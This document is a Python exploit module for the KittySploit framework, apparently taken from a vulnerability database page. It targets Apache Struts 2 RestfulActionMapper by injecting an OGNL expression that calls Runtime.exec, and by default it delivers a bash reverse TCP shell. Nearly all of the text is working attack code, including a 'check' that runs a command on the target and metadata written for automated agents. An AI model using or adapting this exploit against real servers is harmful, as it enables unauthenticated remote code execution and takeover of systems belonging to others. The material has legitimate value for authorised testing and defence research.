Apache Struts 2 RestfulActionMapper OGNL RCE
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""Apache Struts 2 RestfulActionMapper OGNL injection unauthenticated RCE."""
from __future__ import annotations
import re
from urllib.parse import quote
from kittysploit import *
from lib.protocols.http.http_client import Http_client
class Module(Exploit, Http_client):
__info__ = {
"name": "Apache Struts 2 RestfulActionMapper OGNL RCE",
"description": (
"Apache Struts 2.6.11.x with struts.mapper.class=restful and wildcard {1} "
"result dispatch: OGNL in the action name reaches Runtime.exec via "
"java.beans.Statement / Expression sandbox bypass."
),
"author": ["KittySploit Team"],
"platform": Platform.MULTI,
"arch": [Arch.CMD],
"payload": {
"default": "payloads/singles/cmd/unix/bash_reverse_tcp",
"platform": Platform.UNIX,
"category": PayloadCategory.CMD,
},
"references": [],
"tags": ["apache", "struts", "ognl", "rce", "unauth"],
"agent": {
"risk": "critical",
"effects": ["active_exploitation", "remote_code_execution"],
"expected_requests": 2,
"reversible": False,
"approval_required": True,
"produces": ["rce", "shell"],
"chain": {
"suggested_followups": ["scanner/http/struts2_restful_mapper_ognl_rce_detect"],
},
},
}
port = OptPort(8080, "Struts HTTP port", required=True)
ssl = OptBool(False, "Use HTTPS", required=False)
@staticmethod
def _build_ognl(cmd: str) -> str:
safe_cmd = str(cmd).replace("'", "\\'")
return (
"new java.beans.Statement("
"new java.beans.Expression(@java.lang.Runtime@class,"
"'getRuntime',new java.lang.Object[0]).getValue(),"
"'exec',new java.lang.Object[]{new java.lang.String[]{'sh','-c','%s'}}"
").execute()" % safe_cmd
)
def execute(self, cmd: str) -> str:
if "/" in cmd:
raise ValueError("Command must not contain '/' (RestfulActionMapper path split)")
ognl = self._build_ognl(cmd)
path = "/" + quote("%{" + ognl + "}", safe="") + "/x"
resp = self.http_request("GET", path, allow_redirects=False)
loc = resp.headers.get("Location") if resp else None
return f"HTTP {getattr(resp, 'status_code', '?')} Location={loc}"
def check(self):
resp_text = self.execute("id")
if "Location=" in str(resp_text):
return {
"vulnerable": True,
"reason": "OGNL dispatch accepted",
"confidence": "medium",
}
return {"vulnerable": False, "reason": str(resp_text), "confidence": "low"}
def run(self):
shell = self.shell_from_payload()
if not shell:
print_error("Set payload")
return False
chk = self.check()
if not chk.get("vulnerable"):
print_error(chk.get("reason", "Target not vulnerable"))
self.not_vulnerable()
return False
print_status("Dispatching OGNL payload")
print_info(self.execute(shell)[:8000])
print_success("Payload delivered — waiting for handler session")
return True
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27 Oct 2026 13:35Current
6Medium risk
Vulners AI Score6